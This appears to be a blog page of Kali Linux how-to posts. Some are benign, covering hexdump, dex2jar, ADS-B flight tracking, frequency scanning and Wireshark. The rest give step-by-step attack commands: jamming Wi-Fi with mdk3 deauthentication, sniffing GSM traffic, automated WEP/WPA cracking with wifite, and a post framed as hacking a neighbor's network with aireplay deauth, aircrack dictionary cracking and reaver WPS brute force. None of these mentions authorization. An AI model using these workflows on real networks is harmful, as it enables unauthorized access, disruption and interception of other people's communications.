Showing posts with label Kali Linux. Show all posts
Showing posts with label Kali Linux. Show all posts

Just dump it.

Hexdump or hexadecimal dumping is a way to represent a file in hexadecimal format which helps the investigators to find out some basic things about the file and its contents. This is a primitive way to find out details regarding a file, but this can be helpful if you are doing a black box investigation on a file. The major draw back about this trick is that hexadecimal format is hard to read. 

How to?
Linux:-

  1. To do an hexadecimal dump on any Linux machine just open the terminal and type hexdump <filename>. This will generate a flow of hexadecimal stream which keeps on going. To get this stream in a proper representation you might have to pipe it with less or more like hexdump <filename>  | less.                                     
  2. A better version of this command is hexdump -c.
Windows:-
  1. There is no predefined package in windows to get the hexdump value, thus you might have to download & install the application Hxd which is a hex editor.
  2. Now select open under the file menu and select your file and that's all.


Note:-
This is the most easy way to find out some basic properties of the file. But this is not effective for more descriptive analysis.







converting dex2jar

Now whenever you create a android app an .dex file is automatically created, this file is saved inside the .apk file and runs on dalvik virtual machine. The original android app is mostly written in Java and hence converting a file from dex to jar is as simple as unzipping a rar file. The script used to do this task is known as dex2jar and comes per-installed in Kali Linux 2.0.

How to?

  1. Open a new terminal window.
  2. Type dex2jar <filename> and hit enter.
  3. Now wait and watch once the script stops running just type ls to see the list of files.
  4. Now you can open this jar files in various ides.

Note:-
If the .apk file is encrypted then you will not get anything at all.





Mini,light & regular: What's different?

Now we all know that there are three types of Kali Linux ISO, the difference between these ISOs are that:-
Regular:-
The regular version is the fully fledged Kali Linux with the cool GUI and has all the tools, this version can be installed as a bootable media.

Light:-
The light version is a stripped up version of Kali Linux,it only has some main tools like sqlmap, nmap, etc. It looks more like CentOS.
And can be installed on bootable media.


Mini:- The mini is the a version which is the smallest one of all which can be used to install it with internet access.This one cannot be installed on bootable media and you can only be access it  after the distro is installed. This only consist of the core packages. And you might have to do a lot of apt-gets to get it to a full fledged environment. 





Airplane tracking for Linux Penguins

We had shared articles on tracking airplanes with SDR on windows. Here is how you do it on Linux. We will be using Kali Linux in our example but you can do it on any other distribution as well. The number of dependencies required may vary from distribution to distribution.
.

How to?
1) Before we start with the actual script you might need a couple of dependencies which means you might have to do a couple of apt-gets:-  
apt-get install libusb-1.0-0-dev

apt-get install libusb-dev

apt-get install librtlsdr-dev

2) After you are done you might need to get dump1090 from GitHub:-
git clone https://github.com/antirez/dump1090.git

3) Now you will have to cd into the folder and recompile the script:-
cd dump1090

make

4)Now to run it use the command:-
./dump1090 --interactive


Note:-
To explore more options you can the command ./dump1090 --help. The best thing is that the script is open source so you can modify it as per your desires.
 







 

Sniffing for GSM packets

GSM network works on a frequency 850-900 MHz. In other words we can sniff the packet transfer between the phone and a GSM tower with an rtl-sdr dongle.

How to?
At first you might have to get the dependences:
  • apt-get –y install git-core autoconf automake libtool g++ python-dev swig libpcap0.8-dev
  • apt-get install gnuradio gnuradio-dev cmake git libboost-all-dev libusb-1.0-0 libusb-1.0-0-dev libfftw3-dev swig python-numpy libpcsclite-dev 
Now you will need to get libosmocore:
  • git clone git://git.osmocom.org/libosmocore.git
  • cd libosmocore
  • autoreconf –i
  • ./configure
  • make
  • make install
  • ldconfig
  • cd ..
Now you will need airprobe:

  • git clone https://github.com/ksnieck/airprobe.git
At the end you might have to install the gsmdecoder:

  • cd airprobe/gsmdecode
  • ./bootstrap 
  • ./configure
  • make
  • cd ..

At last you might have to install the receiver:

  • cd airprobe/gsm-receiver
  • ./bootstrap
  • ./configure
  • make


Now to start the sniffing:
  • python gsm_receive_rtl.py -s 1e6
Now open wireshark and set the interface to lo(loopback). And set the filter to gsmtap so that you only get the gsm packets.




Note:- 
If you don't get packets change the frequency with the gnu radio GUI. If you want to know more you can refer to this article. You might have to add a few more dependencies if you are using other distributions of Linux.




What's new Kali Linux 2.0?

On Wednesday, Offensive security team released their latest version of Kali Linux which is the Kali Linux 2.0. This iteration of Kali Linux was presented at both the cons Def con 23 and Black hats 2015. The OS was available for the masses on August 11th.

Kali Linux 2.0 has 3 different versions for your computer namely mini, light and regular. The difference between them is the size of the ISO the mini is 29 MB, light is 0.8 GB where as the regular one is 3.1 GB.  


The GUI of the OS is far better than the previous iterations. This GUI makes it a lot easier to use Kali on touch devices like smartphones, tablets and touch computer.The entire OS looks a little like Android + Macintosh. The colors used are bright and make the OS look a little too elegant for a hacking OS. I guess the old Linux like look dies with Kali 1.1. 
The operating system is based on debian jessie which has the kernel version 4.0. Apart form the latest versions of metasploit 4.1 , hydra 8.1, burp 1.6 and SET Mr.Robot it has a ton of new tools as well. All these tools are classified and categorized and can be accessed by clicking on the show applications icon. GNU radio companion and a few SDR tools are also added which means you can forget the apt-get install kali-linux-sdr command on your newly installed Kali Linux. 
We downloaded the VMware image and found that the system used to lag a little when you run it with high processor demanding applications like Internet download manager which might be due to the highly demanding GUI.



The release post and the download link are below:-

  1. Release note 
  2. Download page


     

Using mdk3 to kill wireless networks

mdk3 is a network stress testing tool. It is basically a proof of concept tool which is can be used for exploitation of the weaknesses of  IEEE 802.11 protocol. It is like the LOIC for wireless networks.

How to?

  1. open a new terminal window and type airmon-ng start wlan0 (To start the monitoring mode on your wireless card.).
  2. Now type mdk3 mon0 d -c[channels on which the router is transmitting] and hit enter.
  3. If you have another USB wireless card you can do the same for it as well, it will be like attempting a DDOS on wireless networks.

Note:-
For more options type mdk3 --fullhelp and hit enter.

Creating graphs with Casefile

CaseFile is a compact version of Maltego. It is used to gather and sort information in the form of graphs which is helpful to cops and investigators for analysis of raw information. 


How to?

  1. Open a new terminal window & type casefile and hit enter.
  2. Now click on menu button and select new.
  3. From the pallet drag and drop entities.There is a wide range of entity categories to choose from.
  4. To create a relationship among the entities click just out side the boarder of the entity and extend the arrow to other entities which you want to relate to. For two way entity relationship do the process twice.
  5. Save the graph for future use by clicking on save from the menu.

Note:-
The graph shown as example is imaginary.

Scanning frequency band..

To scan a frequency band with an SDR we will need a python tool known as rtlsdr-scanner which is present in the kali-linux-sdr package. This is a simple tool which creates a frequency to levels graph which can be used for statistical analysis. If you are using a version of Kali Linux other than 5.0 you might have to run the command apt-get install kali-linux-sdr to get all the tools of the package.

How to?

  1. Open the terminal window and type rtlsdr-scanner and hit enter.
  2. Now set the start and stop range of the frequency.
  3. Then click on start to generate the graph.
  4. At the end you will get a graph which you can use for analysis.
Note:-
To find out if you have the sdr pacakge installed you can check for Kali Linux /wireless attacks/Software Defined Radio.

Sniffing with Wireshark!!!

Wireshark is a network protocol analyzer which helps you to
tshark-i mon0
 sniff, store and analyze network traffic. It is built on top of tshark but displays everything in a more systematic way . It is available for almost all operating systems. The software consist of various filters which are used to filter specific packets which you want to analyze.

Now whenever you start Wireshark you will have to select an interface for the list of interfaces. This decides that what all traffic you will be able to capture. To capture all the traffic in air with your wireless chip you can select the monitoring mode enabled card. To capture the all the traffic on a specific frequency you can also select your rtl-sdr.
using mon0 interface.
The best thing about Wireshark is that it can be integrated with different types of hardware and software. There are millions of Wireshark filters so you cannot memorize all of them but you can always refer to them whenever you want on https://www.wireshark.org/.


The only way to learn Wireshark is by experimenting. To get a copy you can download form the following link.

Automated wireless hacking: wifi hacking the easy way!!!!!

Wifite is a python script which automates all the required process for wireless hacking. This script attempts all the wireless exploits one by one till it gets the key of the wireless network. The best tool for lazy hackers. :p



Requirements:-

  • A wireless card with monitoring mode.
  • Wifite.py file (It is already installed in Kali Linux).


we will use Kali Linux for our demonstration.

How to?

  1. Open a new terminal type wifite(in case of Kali for other distributions you might have to type ./python wifite.py ) 
  2. Select your interface name, in our case we only had one interface so we can skip this step.
  3. Now select the network which you want to hack we only have one network so we will give 1.
  4. Now wait till the script cracks the WEP or WAP key to give you an WEP key for the network.


Note:-

If you want to set the parameter at the beginning you can do that as well which means that the script will use these parameter from the beginning  to check parameters you can type wifite -h .
You can also crack the hash if the script is unable to do so with other hash cracking scripts like hashcat and aircrack-ng.


How I met your neighbor!!!!

There are 2 ways to hack an wireless network both of them require mon0 (monitoring mode) if you are not associated and authenticated to the network(connected).

Things that you might need:-

  1. Kali Linux on Vmware.
  2. Dlink dw-123.(or any other wireless card that supports monitoring mode)
Dictionary attack:- 
dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary.


How to?

  1. Open a new terminal in Kali Linux and type airmon-ng start wlan0 and hit enter, here wlan0 can be replaced by interface name of your card.
  2.  Now type airodump-ng mon0 and hit enter to get the list of networks in your range.
  3. Now type airodump-ng --bssid target’s bssid -c channel number --write filename mon0 and hit enter to capture the packets of the target router.
  4. Now on a new terminal window type aireplay-ng -0 5 --ignore-negative-one -a essid  -c cleint essid mon0 to kick the user out and make him to authenticate himself once again which gives us an authentication frame.
  5. Now press Ctrl+c to stop the first terminal or close both terminals.
  6. Now type aircrack-ng -w path to wordlist” filename.cap and hit enter to crack the hash.

Limitations:-

If you don't have the word in the word-list than you cannot hack the password.

Brute force attack:-
Brute Force Attack aims at being the simplest kind of method to gain access to a site: it tries usernames and passwords, over and over again, until it gets in.

How to?
  1. Open a new terminal in Kali Linux and type airmon-ng start wlan0 and hit enter, here wlan0 can be replaced by interface name of your card.
  2.  Now type airodump-ng mon0 to get the list of networks in your range.
  3. Now to deploy reaver you will need to type reaver -i mon0  -b bssid -vv and hit enter, after a few minutes or hours you will get the wps key wpa key of the router.
Limitation:-
It takes a lot of time to crack the password and requires a stable traffic of the network.